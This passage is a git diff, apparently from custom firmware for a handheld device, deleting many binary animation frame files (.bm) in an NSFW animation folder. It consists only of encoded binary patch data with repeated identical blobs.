HcmV?d00001 literal 565 zcmV-50?PdX05JmpfII=<4*(xWwgVV={%`*PAwj|Mf3R)g|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_38.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_38.bm deleted file mode 100644 index dacc6be35193b5d523a602457ac67dfd94a69c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 551 zcmV+?0@(cl03!nbfII=<4*(Ybf&?h|{-i%(7{kHy;P`)lg9iu1{=xYBgYF+N{(r&) z0|kr_9v&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_39.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_39.bm deleted file mode 100644 index cf189cb368ded2805b58f81ffc94acac3949439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 zcmV+~0?_>d04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g zI0fKi}Q|4FkY`!9(~8j2`g^fM2ga{$vlp4=)4+3OQkb|GNMD$UV9cct|{Hm+$=U z9K;oP;35CWAwc^H5yO9h=NG;l4iE4Lj5|1 z4749G;Bi6#;tzpwU?zYv2flckKw<}~pi?3O6_|tW9{_y_0Dt&W6{EJ~07#1I`16|3L5;@L1R* zz%lp(%L9WJ5Imq0@DTa|<-za+3VaVM@Cbgv^OP#c7EllIc|Z0a0<44Q_=ornCnNYK z$kssdzwQI)Gw>IL9-I%DIRDlE1P1{D2d3OyRsYm~;0q{2vEl!S{lFAafP2aQ5c}Xg z|Af;AsJ#K_IN(D!0s6nkC=g8mey8B_z=P~iFi$wXqwu%}6Zju}U_7I`4ljUT9KZg4 zArOOq;2@#K3)>$0EyNAJp!0nUL)|b16c{E@4`<*WQVeu_6i^`f-vj61$;bErp$`~* zLFq7`14jT-B1r?z!C)7RBj64=27De;0RYdyL;gS>10Ihe;P5Ztq5MEE07Ah3|8f2d z1KHY)x$e;Lu=usbs-V7BV_Im$>2ao+8f5=IQa2S90|C%QddEvLfLcl`( zAN~G}9w)+vDGZ8V`~R%SAo7GkLFJ%;=mCNNC1GY52WSw8J>v=Uj)U3`4_!nk1|au{ z0ER)`36MP+f)78$EFV_~X%LJahqC-YcmYxev%o>(6+nC7AYk%q7(GEF1^xr=pg{6l l7(Ia^)DV571uVe!kFC%jH}|-mlpeqZ2l<$R`T+0;fCzwk`ZfRn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_40.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_40.bm deleted file mode 100644 index cf189cb368ded2805b58f81ffc94acac3949439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 zcmV+~0?_>d04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g zI0fKi}Q|4FkY`!9(~8j2`g^fM2ga{$vlp4=)4+3OQkb|GNMD$UV9cct|{Hm+$=U z9K;oP;35CWAwc^H5yO9h=NG;l4iE4Lj5|1 z4749G;Bi6#;tzpwU?zYv2flckKw<}~pi?3O6_|tW9{_y_0Dt&W6{EJ~07#1I`16|3L5;@L1R* zz%lp(%L9WJ5Imq0@DTa|<-za+3VaVM@Cbgv^OP#c7EllIc|Z0a0<44Q_=ornCnNYK z$kssdzwQI)Gw>IL9-I%DIRDlE1P1{D2d3OyRsYm~;0q{2vEl!S{lFAafP2aQ5c}Xg z|Af;AsJ#K_IN(D!0s6nkC=g8mey8B_z=P~iFi$wXqwu%}6Zju}U_7I`4ljUT9KZg4 zArOOq;2@#K3)>$0EyNAJp!0nUL)|b16c{E@4`<*WQVeu_6i^`f-vj61$;bErp$`~* zLFq7`14jT-B1r?z!C)7RBj64=27De;0RYdyL;gS>10Ihe;P5Ztq5MEE07Ah3|8f2d z1KHY)x$e;Lu=usbs-V7BV_Im$>2ao+8f5=IQa2S90|C%QddEvLfLcl`( zAN~G}9w)+vDGZ8V`~R%SAo7GkLFJ%;=mCNNC1GY52WSw8J>v=Uj)U3`4_!nk1|au{ z0ER)`36MP+f)78$EFV_~X%LJahqC-YcmYxev%o>(6+nC7AYk%q7(GEF1^xr=pg{6l l7(Ia^)DV571uVe!kFC%jH}|-mlpeqZ2l<$R`T+0;fCzwk`ZfRn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_42.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_42.bm deleted file mode 100644 index e66ca8219849ec2bf27c04908295c67256371633..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 565 zcmV-50?PdX05JmpfII=<4*(xWwgVV={%`*PAwj|Mf3R)g|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_43.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_43.bm deleted file mode 100644 index dacc6be35193b5d523a602457ac67dfd94a69c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 551 zcmV+?0@(cl03!nbfII=<4*(Ybf&?h|{-i%(7{kHy;P`)lg9iu1{=xYBgYF+N{(r&) z0|kr_9v&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_44.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_44.bm deleted file mode 100644 index cf189cb368ded2805b58f81ffc94acac3949439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 zcmV+~0?_>d04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g zI0fKi}Q|4FkY`!9(~8j2`g^fM2ga{$vlp4=)4+3OQkb|GNMD$UV9cct|{Hm+$=U z9K;oP;35CWAwc^H5yO9h=NG;l4iE4Lj5|1 z4749G;Bi6#;tzpwU?zYv2flckKw<}~pi?3O6_|tW9{_y_0Dv&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_46.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_46.bm deleted file mode 100644 index 42a5184d671a08042c9b29aea0d3f11e90868293..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 547 zcmV+;0^I!p03QPXfII=<4*(Ybf&?h|{=7a=7{kHy;JAN)g9iu1{=xYBgYF+N?tj7q z0|kr_9t&W6{EJ~07#1I`16|3L5;@L1R* zz%lp(%L9WJ5Imq0@DTa|<-za+3VaVM@Cbgv^OP#c7EllIc|Z0a0<44Q_=ornCnNYK z$kssdzwQI)Gw>IL9-I%DIRDlE1P1{D2d3OyRsYm~;0q{2vEl!S{lFAafP2aQ5c}Xg z|Af;AsJ#K_IN(D!0s6nkC=g8mey8B_z=P~iFi$wXqwu%}6Zju}U_7I`4ljUT9KZg4 zArOOq;2@#K3)>$0EyNAJp!0nUL)|b16c{E@4`<*WQVeu_6i^`f-vj61$;bErp$`~* zLFq7`14jT-B1r?z!C)7RBj64=27De;0RYdyL;gS>10Ihe;P5Ztq5MEE07Ah3|8f2d z1KHY)x$e;Lu=usbs-V7BV_Im$>2ao+8f5=IQa2S90|C%QddEvLfLcl`( zAN~G}9w)+vDGZ8V`~R%SAo7GkLFJ%;=mCNNC1GY52WSw8J>v=Uj)U3`4_!nk1|au{ z0ER)`36MP+f)78$EFV_~X%LJahqC-YcmYxev%o>(6+nC7AYk%q7(GEF1^xr=pg{6l l7(Ia^)DV571uVe!kFC%jH}|-mlpeqZ2l<$R`T+0;fCzwk`ZfRn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_47.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_47.bm deleted file mode 100644 index e66ca8219849ec2bf27c04908295c67256371633..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 565 zcmV-50?PdX05JmpfII=<4*(xWwgVV={%`*PAwj|Mf3R)g|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_48.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_48.bm deleted file mode 100644 index 42a5184d671a08042c9b29aea0d3f11e90868293..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 547 zcmV+;0^I!p03QPXfII=<4*(Ybf&?h|{=7a=7{kHy;JAN)g9iu1{=xYBgYF+N?tj7q z0|kr_9t&W6{EJ~07#1I`16|3L5;@L1R* zz%lp(%L9WJ5Imq0@DTa|<-za+3VaVM@Cbgv^OP#c7EllIc|Z0a0<44Q_=ornCnNYK z$kssdzwQI)Gw>IL9-I%DIRDlE1P1{D2d3OyRsYm~;0q{2vEl!S{lFAafP2aQ5c}Xg z|Af;AsJ#K_IN(D!0s6nkC=g8mey8B_z=P~iFi$wXqwu%}6Zju}U_7I`4ljUT9KZg4 zArOOq;2@#K3)>$0EyNAJp!0nUL)|b16c{E@4`<*WQVeu_6i^`f-vj61$;bErp$`~* zLFq7`14jT-B1r?z!C)7RBj64=27De;0RYdyL;gS>10Ihe;P5Ztq5MEE07Ah3|8f2d z1KHY)x$e;Lu=usbs-V7BV_Im$>2ao+8f5=IQa2S90|C%QddEvLfLcl`( zAN~G}9w)+vDGZ8V`~R%SAo7GkLFJ%;=mCNNC1GY52WSw8J>v=Uj)U3`4_!nk1|au{ z0ER)`36MP+f)78$EFV_~X%LJahqC-YcmYxev%o>(6+nC7AYk%q7(GEF1^xr=pg{6l l7(Ia^)DV571uVe!kFC%jH}|-mlpeqZ2l<$R`T+0;fCzwk`ZfRn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_49.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_49.bm deleted file mode 100644 index e66ca8219849ec2bf27c04908295c67256371633..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 565 zcmV-50?PdX05JmpfII=<4*(xWwgVV={%`*PAwj|Mf3R)g|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_5.bm deleted file mode 100644 index e66ca8219849ec2bf27c04908295c67256371633..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 565 zcmV-50?PdX05JmpfII=<4*(xWwgVV={%`*PAwj|Mf3R)g|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_50.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_50.bm deleted file mode 100644 index dacc6be35193b5d523a602457ac67dfd94a69c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 551 zcmV+?0@(cl03!nbfII=<4*(Ybf&?h|{-i%(7{kHy;P`)lg9iu1{=xYBgYF+N{(r&) z0|kr_9v&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_51.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_51.bm deleted file mode 100644 index cf189cb368ded2805b58f81ffc94acac3949439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 zcmV+~0?_>d04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g zI0fKi}Q|4FkY`!9(~8j2`g^fM2ga{$vlp4=)4+3OQkb|GNMD$UV9cct|{Hm+$=U z9K;oP;35CWAwc^H5yO9h=NG;l4iE4Lj5|1 z4749G;Bi6#;tzpwU?zYv2flckKw<}~pi?3O6_|tW9{_y_0Dt&W6{EJ~07#1I`16|3L5;@L1R* zz%lp(%L9WJ5Imq0@DTa|<-za+3VaVM@Cbgv^OP#c7EllIc|Z0a0<44Q_=ornCnNYK z$kssdzwQI)Gw>IL9-I%DIRDlE1P1{D2d3OyRsYm~;0q{2vEl!S{lFAafP2aQ5c}Xg z|Af;AsJ#K_IN(D!0s6nkC=g8mey8B_z=P~iFi$wXqwu%}6Zju}U_7I`4ljUT9KZg4 zArOOq;2@#K3)>$0EyNAJp!0nUL)|b16c{E@4`<*WQVeu_6i^`f-vj61$;bErp$`~* zLFq7`14jT-B1r?z!C)7RBj64=27De;0RYdyL;gS>10Ihe;P5Ztq5MEE07Ah3|8f2d z1KHY)x$e;Lu=usbs-V7BV_Im$>2ao+8f5=IQa2S90|C%QddEvLfLcl`( zAN~G}9w)+vDGZ8V`~R%SAo7GkLFJ%;=mCNNC1GY52WSw8J>v=Uj)U3`4_!nk1|au{ z0ER)`36MP+f)78$EFV_~X%LJahqC-YcmYxev%o>(6+nC7AYk%q7(GEF1^xr=pg{6l l7(Ia^)DV571uVe!kFC%jH}|-mlpeqZ2l<$R`T+0;fCzwk`ZfRn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_53.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_53.bm deleted file mode 100644 index e66ca8219849ec2bf27c04908295c67256371633..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 565 zcmV-50?PdX05JmpfII=<4*(xWwgVV={%`*PAwj|Mf3R)g|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_54.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_54.bm deleted file mode 100644 index dacc6be35193b5d523a602457ac67dfd94a69c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 551 zcmV+?0@(cl03!nbfII=<4*(Ybf&?h|{-i%(7{kHy;P`)lg9iu1{=xYBgYF+N{(r&) z0|kr_9v&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_55.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_55.bm deleted file mode 100644 index cf189cb368ded2805b58f81ffc94acac3949439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 zcmV+~0?_>d04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g zI0fKi}Q|4FkY`!9(~8j2`g^fM2ga{$vlp4=)4+3OQkb|GNMD$UV9cct|{Hm+$=U z9K;oP;35CWAwc^H5yO9h=NG;l4iE4Lj5|1 z4749G;Bi6#;tzpwU?zYv2flckKw<}~pi?3O6_|tW9{_y_0Dd04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g zI0fKi}Q|4FkY`!9(~8j2`g^fM2ga{$vlp4=)4+3OQkb|GNMD$UV9cct|{Hm+$=U z9K;oP;35CWAwc^H5yO9h=NG;l4iE4Lj5|1 z4749G;Bi6#;tzpwU?zYv2flckKw<}~pi?3O6_|tW9{_y_0Dt&W6{EJ~07#1I`16|3L5;@L1R* zz%lp(%L9WJ5Imq0@DTa|<-za+3VaVM@Cbgv^OP#c7EllIc|Z0a0<44Q_=ornCnNYK z$kssdzwQI)Gw>IL9-I%DIRDlE1P1{D2d3OyRsYm~;0q{2vEl!S{lFAafP2aQ5c}Xg z|Af;AsJ#K_IN(D!0s6nkC=g8mey8B_z=P~iFi$wXqwu%}6Zju}U_7I`4ljUT9KZg4 zArOOq;2@#K3)>$0EyNAJp!0nUL)|b16c{E@4`<*WQVeu_6i^`f-vj61$;bErp$`~* zLFq7`14jT-B1r?z!C)7RBj64=27De;0RYdyL;gS>10Ihe;P5Ztq5MEE07Ah3|8f2d z1KHY)x$e;Lu=usbs-V7BV_Im$>2ao+8f5=IQa2S90|C%QddEvLfLcl`( zAN~G}9w)+vDGZ8V`~R%SAo7GkLFJ%;=mCNNC1GY52WSw8J>v=Uj)U3`4_!nk1|au{ z0ER)`36MP+f)78$EFV_~X%LJahqC-YcmYxev%o>(6+nC7AYk%q7(GEF1^xr=pg{6l l7(Ia^)DV571uVe!kFC%jH}|-mlpeqZ2l<$R`T+0;fCzwk`ZfRn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_58.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_58.bm deleted file mode 100644 index e66ca8219849ec2bf27c04908295c67256371633..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 565 zcmV-50?PdX05JmpfII=<4*(xWwgVV={%`*PAwj|Mf3R)g|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_59.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_59.bm deleted file mode 100644 index dacc6be35193b5d523a602457ac67dfd94a69c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 551 zcmV+?0@(cl03!nbfII=<4*(Ybf&?h|{-i%(7{kHy;P`)lg9iu1{=xYBgYF+N{(r&) z0|kr_9v&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_6.bm deleted file mode 100644 index dacc6be35193b5d523a602457ac67dfd94a69c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 551 zcmV+?0@(cl03!nbfII=<4*(Ybf&?h|{-i%(7{kHy;P`)lg9iu1{=xYBgYF+N{(r&) z0|kr_9v&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 